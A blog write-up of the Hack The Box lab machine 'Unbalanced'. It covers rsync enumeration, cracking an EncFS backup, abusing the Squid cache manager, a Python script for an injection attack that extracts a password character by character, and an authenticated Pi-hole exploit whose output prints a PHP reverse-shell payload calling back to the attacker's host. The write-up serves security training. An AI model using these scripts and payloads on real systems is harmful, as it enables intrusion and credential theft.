jebidiah-anthony
write-ups and what not
HTB Unbalanced (10.10.10.200)
PART 1 : INITIAL RECON
$ nmap -oN nmap.tcp.initial --min-rate 5000 -p- -v 10.10.10.200 PORT STATE SERVICE 22/tcp open ssh 873/tcp open rsync 3128/tcp open squid-http $ nmap -oN nmap.tcp.unbalanced -p 22,873,3128 -sC -sV -T4 10.10.10.200 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA) | 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA) |_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519) 873/tcp open rsync (protocol version 31) 3128/tcp open http-proxy Squid http proxy 4.6 |_http-server-header: squid/4.6 |_http-title: ERROR: The requested URL could not be retrieved Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PART 2 : PORT ENUMERATION
rsync
seems to be open on port 873 and checking if there are any shared folders:
$ rsync -av --list-only rsync://10.10.10.200 conf_backups EncFS-encrypted configuration backups
There is a shared folder named, conf_backups
, which based on the description is probably an encrypted file share but it contains config files so some sort of credentials might be lying around somewhere.
$ rsync -av rsync://10.10.10.200/conf_backups ./conf_backups receiving incremental file list ./ ,CBjPJW4EGlcqwZW4nmVqBA6 -FjZ6-6,Fa,tMvlDsuVAO7ek .encfs6.xml 0K72OfkNRRx3-f0Y6eQKwnjn 27FonaNT2gnNc3voXuKWgEFP4sE9mxg0OZ96NB0x4OcLo- 2VyeljxHWrDX37La6FhUGIJS 3E2fC7coj5,XQ8LbNXVX9hNFhsqCjD-g3b-7Pb5VJHx3C1 3cdBkrRF7R5bYe1ZJ0KYy786 3xB4vSQH-HKVcOMQIs02Qb9, 4J8k09nLNFsb7S-JXkxQffpbCKeKFNJLk6NRQmI11FazC1 5-6yZKVDjG4n-AMPD65LOpz6-kz,ae0p2VOWzCokOwxbt, 5FTRnQDoLdRfOEPkrhM2L29P 5IUA28wOw0wwBs8rP5xjkFSs 6R1rXixtFRQ5c9ScY8MBQ1Rg 7-dPsi7efZRoXkZ5oz1AxVd-Q,L05rofx0Mx8N2dQyUNA, 7zivDbWdbySIQARaHlm3NbC-7dUYF-rpYHSQqLNuHTVVN1 8CBL-MBKTDMgB6AT2nfWfq-e 8XDA,IOhFFlhh120yl54Q0da 8e6TAzw0xs2LVxgohuXHhWjM 9F9Y,UITgMo5zsWaP1TwmOm8EvDCWwUZurrL0TwjR,Gxl0 A4qOD1nvqe9JgKnslwk1sUzO Acv0PEQX8vs-KdK307QNHaiF B6J5M3OP0X7W25ITnaZX753T Chlsy5ahvpl5Q0o3hMyUIlNwJbiNG99DxXJeR5vXXFgHC1 ECXONXBBRwhb5tYOIcjjFZzh F4F9opY2nhVVnRgiQ,OUs-Y0 FGZsMmjhKz7CJ2r-OjxkdOfKdEip4Gx2vCDI24GXSF5eB1 FSXWRSwW6vOvJ0ExPK0fXJ6F IymL3QugM,XxLuKEdwJJOOpi KPYfvxIoOlrRjTY18zi8Wne- Kb-,NDTgYevHOGdHCYsSQhhIHrUGjiM6i2JZcl,-PKAJm0 Kpo3MHQxksW2uYX79XngQu-f KtFc,DR7HqmGdPOkM2CpLaM9 Mv5TtpmUNnVl-fgqQeYAy8uu MxgjShAeN6AmkH2tQAsfaj6C Ni8LDatT134DF6hhQf5ESpo5 Nlne5rpWkOxkPNC15SEeJ8g, OFG2vAoaW3Tvv1X2J5fy4UV8 OvBqims-kvgGyJJqZ59IbGfy StlxkG05UY9zWNHBhXxukuP9 TZGfSHeAM42o9TgjGUdOSdrd VQjGnKU1puKhF6pQG1aah6rc W5,ILrUB4dBVW-Jby5AUcGsz Wr0grx0GnkLFl8qT3L0CyTE6 X93-uArUSTL,kiJpOeovWTaP Ya30M5le2NKbF6rD-qD3M-7t Yw0UEJYKN,Hjf-QGqo3WObHy Z8,hYzUjW0GnBk1JP,8ghCsC ZXUUpn9SCTerl0dinZQYwxrx ZvkMNEBKPRpOHbGoefPa737T a4zdmLrBYDC24s9Z59y-Pwa2 c9w3APbCYWfWLsq7NFOdjQpA cwJnkiUiyfhynK2CvJT7rbUrS3AEJipP7zhItWiLcRVSA1 dF2GU58wFl3x5R7aDE6QEnDj dNTEvgsjgG6lKBr8ev8Dw,p7 gK5Z2BBMSh9iFyCFfIthbkQ6 gRhKiGIEm4SvYkTCLlOQPeh- hqZXaSCJi-Jso02DJlwCtYoz iaDKfUAHJmdqTDVZsmCIS,Bn jIY9q65HMBxJqUW48LJIc,Fj kdJ5whfqyrkk6avAhlX-x0kh kheep9TIpbbdwNSfmNU1QNk- l,LY6YoFepcaLg67YoILNGg0 lWiv4yDEUfliy,Znm17Al41zi0BbMtCbN8wK4gHc333mt, mMGincizgMjpsBjkhWq-Oy0D oPu0EVyHA6,KmoI1T,LTs83x pfTT,nZnCUFzyPPOeX9NwQVo pn6YPUx69xqxRXKqg5B5D2ON q5RFgoRK2Ttl3U5W8fjtyriX qeHNkZencKDjkr3R746ZzO5K sNiR-scp-DZrXHg4coa9KBmZ sfT89u8dsEY4n99lNsUFOwki uEtPZwC2tjaQELJmnNRTCLYU vCsXjR1qQmPO5g3P3kiFyO84 waEzfb8hYE47wHeslfs1MvYdVxqTtQ8XGshJssXMmvOsZLhtJWWRX31cBfhdVygrCV5 sent 1,452 bytes received 411,990 bytes 28,513.24 bytes/sec total size is 405,603 speedup is 0.98
There are a lot of files but it still needs to be decrypted. One way to do this is by using encfs2john
:
$ locate encfs /usr/share/john/encfs2john.py $ python3 /usr/share/john/encfs2john.py ./conf_backups ./conf_backups:$encfs$19258028002099176a6e4d96c0b32bad9d4feb3d8e425165f105441b2a580dea6cda1aedd96d0b72f43de132b239f51c224852030dfe8892da2cad329edc006815a3e84b887add $ python3 /usr/share/john/encfs2john.py ./conf_backups > conf_backups.hash $ john --wordlist=/usr/share/wordlists/rockyou.txt conf_backups.hash $ john --show conf_backups.hash ./conf_backups:bubblegum 1 password hash cracked, 0 left $ mkdir conf_backups_dec $ encfs $(pwd)/conf_backups $(pwd)/conf_backups_dec EncFS Password: bubblegum
Now that the files have been decrypted, the directory looks like this:
$ ls conf_backups_dec 50-localauthority.conf hdparm.conf parser.conf 50-nullbackend.conf host.conf protect-links.conf 51-debian-sudo.conf initramfs.conf reportbug.conf 70debconf input.conf resolv.conf 99-sysctl.conf journald.conf resolved.conf access.conf kernel-img.conf rsyncd.conf adduser.conf ldap.conf rsyslog.conf bluetooth.conf ld.so.conf semanage.conf ca-certificates.conf libaudit.conf sepermit.conf com.ubuntu.SoftwareProperties.conf libc.conf sleep.conf dconf limits.conf squid.conf debconf.conf listchanges.conf sysctl.conf debian.conf logind.conf system.conf deluser.conf logrotate.conf time.conf dhclient.conf main.conf timesyncd.conf discover-modprobe.conf mke2fs.conf ucf.conf dkms.conf modules.conf udev.conf dns.conf namespace.conf update-initramfs.conf dnsmasq.conf network.conf user.conf docker.conf networkd.conf user-dirs.conf fakeroot-x86_64-linux-gnu.conf nsswitch.conf Vendor.conf framework.conf org.freedesktop.PackageKit.conf wpa_supplicant.conf fuse.conf PackageKit.conf x86_64-linux-gnu.conf gai.conf pam.conf xattr.conf group.conf pam_env.conf
Since the files are now readable, we can begin searching for interesting information:
$ cd conf_backups_dec $ cat | grep -i "pass" | grep -v "#" mozilla/Buypass_Class_2_Root_CA.crt mozilla/Buypass_Class_3_Root_CA.crt Reject-Type: password Name: passwords Accept-Type: password Filename: /var/cache/debconf/passwords.dat Stack: config, passwords passwd: files systemd cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events cachemgr_passwd disable all $ grep --with-filename "cachemgr_passwd" | grep -v "#" squid.conf:cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events squid.conf:cachemgr_passwd disable all
There is a password explicitly written in the Squid Proxy
config file. This makes sense being the name of the box is Unbalanced so this must be about a misconfigured load balancer or something as there is an http proxy setup at port 3128
.
What was also listed beside the cachemgr_passwd
password are the options we could explore in the Squid Proxy Cache Manager.
I wrote a simple python script in order to explore the cache manager:
from base64 import b64encode from pwn import * import sys host = "10.10.10.200" port = 3128 req = "GET cache_object://{}:{}/{} HTTP/1.1\r\n".format(host, port, sys.argv[1]) username = "" password = "Thah$Sh1" creds = b64encode("{}:{}".format(username, password).encode("utf-8")) auth = "Authorization: Basic {}\r\n".format(str(creds)[2:-1]) http = "{}{}".format(req, auth) squid = remote("10.10.10.200", 3128) squid.sendline(http) while True: try: line = squid.recv().decode("unicode_escape")[:-1] print(line) except: break
And now checking what we could do and get:
$ python3 squid.py menu | grep protected menu Cache Manager Menu protected pconn Persistent Connection Utilization Histograms protected mem Memory Utilization protected diskd DISKD Stats protected fqdncache FQDN Cache Stats and Contents protected filedescriptors Process Filedescriptor Allocation protected objects All Cache Objects protected vm_objects In-Memory and In-Transit Objects protected counters Traffic and Resource Counters protected 5min 5 Minute Average of Counters protected 60min 60 Minute Average of Counters protected histograms Full Histogram Counts protected cbdata Callback Data Registry Contents protected sbuf String-Buffer statistics protected events Event Queue protected $ python3 squid.py fqdncache [...OMITTED...] Address Flg TTL Cnt Hostnames 127.0.1.1 H -001 2 unbalanced.htb unbalanced ::1 H -001 3 localhost ip6-localhost ip6-loopback 172.31.179.2 H -001 1 intranet-host2.unbalanced.htb 172.31.179.3 H -001 1 intranet-host3.unbalanced.htb 127.0.0.1 H -001 1 localhost 172.17.0.1 H -001 1 intranet.unbalanced.htb ff02::1 H -001 1 ip6-allnodes ff02::2 H -001 1 ip6-allrouters
There are three things interesting here — intranet.unbalanced.htb
(172.17.0.1), intranet-host2.unbalanced.htb
(172.31.179.2), and intranet-host3.unbalanced.htb
(172.31.179.3).
Opening intranet.unbalanced.htb
after setting up my proxy (Foxy Proxy) leads me to:
Figure 1. Proxy Settings
Figure 2. Intranet Landing Page (/intranet.php
)
Examining the reponse headers using curl
:
$ curl -I --proxy "http://10.10.10.200:3128" http://172.17.0.1 HTTP/1.1 302 Found Server: nginx/1.14.0 (Ubuntu) Date: Sat, 05 Dec 2020 22:12:03 GMT Content-Type: text/html; charset=UTF-8 Location: intranet.php Intranet-Host: intranet-host3.unbalanced.htb X-Cache: MISS from unbalanced X-Cache-Lookup: MISS from unbalanced:3128 Via: 1.1 unbalanced (squid/4.6) Connection: keep-alive
The internal load balancer will either bring you to intranet-host2
or intranet-host3
which contains a login form and a contact form which doesn’t seem to do anything when you submit entries or fail to login.
But then you’ll notice something missing… what happened to intranet-host1
? Since host2 is at 172.31.179.2 and host3 is at 172.31.179.3, maybe it’s at 172.31.179.1.
$ curl -I --proxy "http://10.10.10.200:3128" http://172.31.179.1 HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sat, 05 Dec 2020 22:38:45 GMT Content-Type: text/html; charset=UTF-8 Intranet-Host: intranet-host1.unbalanced.htb X-Cache: MISS from unbalanced X-Cache-Lookup: MISS from unbalanced:3128 Via: 1.1 unbalanced (squid/4.6) Connection: keep-alive $ curl --proxy "http://10.10.10.200:3128" http://172.31.179.1 Host temporarily taken out of load balancing for security maintenance.
And it does exist but this time, when you go to /intranet.php
and try to login, an error message now appears which was not apparent in the other hosted applications.
Figure 3. Error Message: Invalid credentials.
PART 3 : EXPLOITATION
After testing a simple SQL injection payload like ' or '1'='1
, the form seems to be vulnerable as it returns a list of users and their respective roles. It is important to note that the form rejects capital letters so ' OR '1'='1
will not work. Comment characters also seem to be rejected.
Figure 4. User list
Since we have an error message and given the limitations of the form, maybe it could be leveraged to extract passwords for the listed users. I’ll focus on bryan since he has the role of System Administrator.
I wrote another python script for this:
import requests as r target = "http://172.31.179.1/intranet.php" proxy = { "http": "http://10.10.10.200:3128" } char_set = "abcdefghihjklmnopqrstuvwxyz0123456789!@$%^&*()=_+,./<>?:" password = "" while True: for i in char_set: payload = { "Username": "bryan", "Password": "' or substring(Password,{},1)='{}' or '".format(len(password)+1, i) } res = r.post(target, proxies=proxy, data=payload) if "bryan@unbalanced.htb" in res.text: password += i print(password) break if i == char_set[-1]: break
$ python3 intranet.py i ir ire irea ireal ireall ireally ireallyl ireallyl0 ireallyl0v ireallyl0ve ireallyl0veb ireallyl0vebu ireallyl0vebub ireallyl0vebubb ireallyl0vebubbl ireallyl0vebubble ireallyl0vebubbleg ireallyl0vebubblegu ireallyl0vebubblegum ireallyl0vebubblegum! ireallyl0vebubblegum!! ireallyl0vebubblegum!!!
Checking to see if the password works:
Figure 5. Successful login as bryan
And it does!
PART 3 : GENERATE USER SHELL (bryan)
$ ssh -l bryan 10.10.10.200 The authenticity of host '10.10.10.200 (10.10.10.200)' can\'t be established. ECDSA key fingerprint is SHA256:aiHhPmnhyt434Qvr9CpJRZOmU7m1R1LI29c11na1obY. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.200' (ECDSA) to the list of known hosts. bryan@10.10.10.200\'s password: ireallyl0vebubblegum!!! bryan@unbalanced:~$ ls -la -rw-r--r-- 1 bryan bryan 798 Jun 17 11:35 TODO -rw-r--r-- 1 root root 33 Dec 5 14:18 user.txt
PART 3 : PRIVILEGE ESCALATION (bryan → root)
Examining the TODO file in bryan’s home directory:
bryan@unbalanced:~$ cat TODO ############ # Intranet # ############ * Install new intranet-host3 docker [DONE] * Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE] * Test intranet-host3 [DONE] * Add intranet-host3 to load balancer [DONE] * Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE] * Fix intranet-host2 [DONE] * Re-add intranet-host2 to load balancer (set default weight) [DONE] - Fix intranet-host1 [TODO] - Re-add intranet-host1 to load balancer (set default weight) [TODO] ########### # Pi-hole # ########### * Install Pi-hole docker (only listening on 127.0.0.1) [DONE] * Set temporary admin password [DONE] * Create Pi-hole configuration script [IN PROGRESS] - Run Pi-hole configuration script [TODO] - Expose Pi-hole ports to the network [TODO]
The file basically confirms the path to user where intranet-host1 is being troubleshooted but the important thing here is that there is a Pi-hole service running but is only available locally. It uses a temporary password so it’s probably insecure and new credentials may probably be found in the configuration script being created as of the moment.
Checking to see what we can connect to locally:
bryan@unbalanced:~$ ss -plnt | grep 127.0.0.1 LISTEN 0 128 127.0.0.1:8080 0.0.0.0:* LISTEN 0 128 127.0.0.1:5553 0.0.0.0:* bryan@unbalanced:~$ curl http://127.0.0.1:8080/ [ERROR]: Unable to parse results from <i>queryads.php</i>: <code>Unhandled error message (<code>Invalid domain!</code>)</code>
There is an error when trying to access the service running at port 8080 locally but according to this Reddit thread, it seems like you can go directly to /admin/.
bryan@unbalanced:~$ curl -I http://127.0.0.1:8080/admin/ HTTP/1.1 200 OK X-Pi-hole: The Pi-hole Web interface is working! X-Frame-Options: DENY Set-Cookie: PHPSESSID=icng7lp4cktfauu6lt26inrot0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-type: text/html; charset=UTF-8 Date: Sun, 06 Dec 2020 00:09:08 GMT Server: lighttpd/1.4.45
The Pi-hole service can now be reached! However, it’s running via docker so I decided to look for an IP it might be running from and maybe access it via Squid Proxy. Looking back into the file, squid.conf:
$ cat squid.conf | grep dst acl intranet dstdomain -n intranet.unbalanced.htb acl intranet_net dst -n 172.16.0.0/12 $ cat squid.conf | grep intranet_net acl intranet_net dst -n 172.16.0.0/12 http_access allow intranet_net
Access to the IP range 172.16.0.0/12 (172.16.0.0 – 172.31.255.255) is allowed via the proxy and checking the interfaces available to the machine, I decided to do a ping sweep in the IP range, 172.31.0.1/16.
bryan@unbalanced:~$ ip a | grep "inet " inet 127.0.0.1/8 scope host lo inet 10.10.10.200/24 brd 10.10.10.255 scope global ens160 inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 inet 172.31.0.1/16 brd 172.31.255.255 scope global br-742fc4eb92b1 bryan@unbalanced:~$ for x in {1..254}; do for y in {1..254}; do (ping -c1 172.31.$x.$y 2>/dev/null | grep "bytes from" &); done; done 64 bytes from 172.31.11.3: icmp_seq=1 ttl=64 time=0.248 ms 64 bytes from 172.31.179.2: icmp_seq=1 ttl=64 time=0.175 ms 64 bytes from 172.31.179.3: icmp_seq=1 ttl=64 time=0.148 ms 64 bytes from 172.31.179.1: icmp_seq=1 ttl=64 time=0.122 ms
Aside from the previous intranet hosts, there is a new host identified --172.31.11.3. Trying to access it via Squid Proxy leads you to:
Figure 6. Pi-hole Landing Page
Now going to the login page, and remembering that a temporary password is set for the admin account, I tried "admin" and it went through but there is not much to do so I search also for an exploit for the current version of Pi-hole being run.
Figure 7. Pi-hole Login Page
Figure 8. Pi-hole Admin Panel
Figure 9. Pi-hole Version
Looking for exploits:
$ searchsploit pi-hole searchsploit pi-hole ------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------- --------------------------------- Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit) | php/remote/48491.rb Pi-hole 4.3.2 - Remote Code Execution (Authenticated) | python/webapps/48727.py Pi-hole 4.4.0 - Remote Code Execution (Authenticated) | linux/webapps/48519.py Pi-hole < 4.4 - Authenticated Remote Code Execution | linux/webapps/48442.py Pi-hole < 4.4 - Authenticated Remote Code Execution / Privileges Escalation | linux/webapps/48443.py Pi-Hole Web Interface 2.8.1 - Persistent Cross-Site Scripting in Whitelist/Blacklist | linux/webapps/40249.txt ------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results $ searchsploit -m python/webapps/48727.py $ python 48727.py ╔═╗┬ ┬┌┐┌ ╔═╗┬┬ ┬┌─┐┬ ┌─┐ ╠═╝││││││ ╠═╝│├─┤│ ││ ├┤ ╩ └┴┘┘└┘ ╩ ┴┴ ┴└─┘┴─┘└─┘ by @CyberVaca usage: 48727.py [-h] -u URL -p PORT -i IP -pass PASSWORD 48727.py: error: argument -u is required
Setting up the exploit — I forwarded the locally available service inside the machine since HTTP proxies are very unreliable when establishing reverse shells afterwhich I setup a listener via netcat
in my machine:
$ sshpass -p 'ireallyl0vebubblegum!!!' ssh -l bryan -L 8080:127.0.0.1:8080 -f -N 10.10.10.200 $ nc -lvp 4444 listening on [any] 4444 ...
Then I ran the exploit:
$ python 48727.py -u http://127.0.0.1:8080 -p 4444 -i 10.10.14.11 -pass admin ╔═╗┬ ┬┌┐┌ ╔═╗┬┬ ┬┌─┐┬ ┌─┐ ╠═╝││││││ ╠═╝│├─┤│ ││ ├┤ ╩ └┴┘┘└┘ ╩ ┴┴ ┴└─┘┴─┘└─┘ by @CyberVaca [] Token: TYiXiwh9ctRRTAHZ/5bZz/HX3vfihy6jvq8BYk1yb9w= [] Payload: php -r '$sock=fsockopen("10.10.14.11", 4444);exec("/bin/sh -i <&3 >&3 2>&3");' [+] Sending Payload...
Going back to the listener:
$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ hostname pihole.unbalanced.htb $ cd /root $ ls -l -rw-r--r-- 1 root root 113876 Sep 20 2019 ph_install.sh -rw-r--r-- 1 root root 485 Apr 6 2020 pihole_config.sh $ cat pihole_config.sh #!/bin/bash # Add domains to whitelist /usr/local/bin/pihole -w unbalanced.htb /usr/local/bin/pihole -w rebalanced.htb # Set temperature unit to Celsius /usr/local/bin/pihole -a -c # Add local host record /usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1 # Set privacy level /usr/local/bin/pihole -a -l 4 # Set web admin interface password /usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!' # Set admin email /usr/local/bin/pihole -a email admin@unbalanced.htb
The /root
directory is readable and in there is the Pi-hole config file mentioned earlier. A new password is visible and maybe this could be used to su
to root:
bryan@unbalanced:~$ su - Password: bUbBl3gUm$43v3Ry0n3! root@unbalanced:~# id uid=0(root) gid=0(root) groups=0(root) root@unbalanced:~# ls -l -rw------- 1 root root 33 Dec 5 14:18 root.txt
And now, we have root!